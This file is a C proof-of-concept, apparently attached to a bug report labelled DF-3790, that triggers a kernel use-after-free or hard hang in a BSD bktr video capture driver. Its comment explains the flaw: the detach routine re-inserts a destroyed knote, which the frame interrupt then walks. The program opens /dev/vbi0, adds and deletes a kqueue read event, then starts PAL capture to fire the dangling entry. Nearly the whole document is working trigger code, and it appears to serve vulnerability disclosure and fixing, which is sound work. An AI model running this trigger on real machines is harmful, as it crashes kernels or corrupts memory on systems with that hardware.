DF-3790 / poc_knote_detach.c
/* * DF-3790 PoC trigger (requires real Bt848/878 hardware + bktr driver). * * bktr_filter_detach() (sys/dev/video/bktr/bktr_os.c:724-732) calls * knote_INSERT() instead of knote_REMOVE() when a knote is destroyed, so * the destroyed knote stays on (or is re-inserted / self-looped into) * bktr->vbi_kq.ki_note. The next VBI frame interrupt runs * KNOTE(&bktr->vbi_kq.ki_note, 0) (bktr_core.c:705), which walks the list * and dereferences the freed knote -> UAF from interrupt context, or an * infinite SLIST walk (self-loop) with the pool token held -> hard hang. * * Sequence: keep /dev/vbi0 open, register EVFILT_READ knote on it, delete * the knote (EV_DELETE) -- corrupt the klist -- then run video capture so * the interrupt KNOTE()s the dangling entry. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/ioctl.h> #include <sys/event.h> #include <sys/types.h> #include <dev/video/meteor/ioctl_meteor.h> #include <dev/video/bktr/ioctl_bt848.h> int main(void) { struct kevent kev; int kq, vfd, cfd, arg = METEOR_CAP_CONTINOUS; unsigned long fmt = METEOR_FMT_PAL; vfd = open("/dev/vbi0", O_RDONLY); if (vfd < 0) { perror("open /dev/vbi0"); return 1; } kq = kqueue(); EV_SET(&kev, vfd, EVFILT_READ, EV_ADD, 0, 0, NULL); if (kevent(kq, &kev, 1, NULL, 0, NULL) < 0) { perror("kevent ADD"); return 1; } /* destroy the knote -> f_detach runs knote_insert() -> dangling entry */ EV_SET(&kev, vfd, EVFILT_READ, EV_DELETE, 0, 0, NULL); if (kevent(kq, &kev, 1, NULL, 0, NULL) < 0) { perror("kevent DEL"); return 1; } printf("knote deleted; vbi_kq list now holds a dangling entry\n"); /* produce interrupts: PAL forces rgb_vbi_prog -> vbidecode -> KNOTE */ cfd = open("/dev/bktr0", O_RDONLY); if (ioctl(cfd, METEORSFMT, &fmt) < 0) perror("METEORSFMT"); if (ioctl(cfd, METEORCAPTUR, &arg) < 0) perror("METEORCAPTUR"); printf("capture started; KNOTE() from intr walks freed knote...\n"); sleep(10); return 0; } |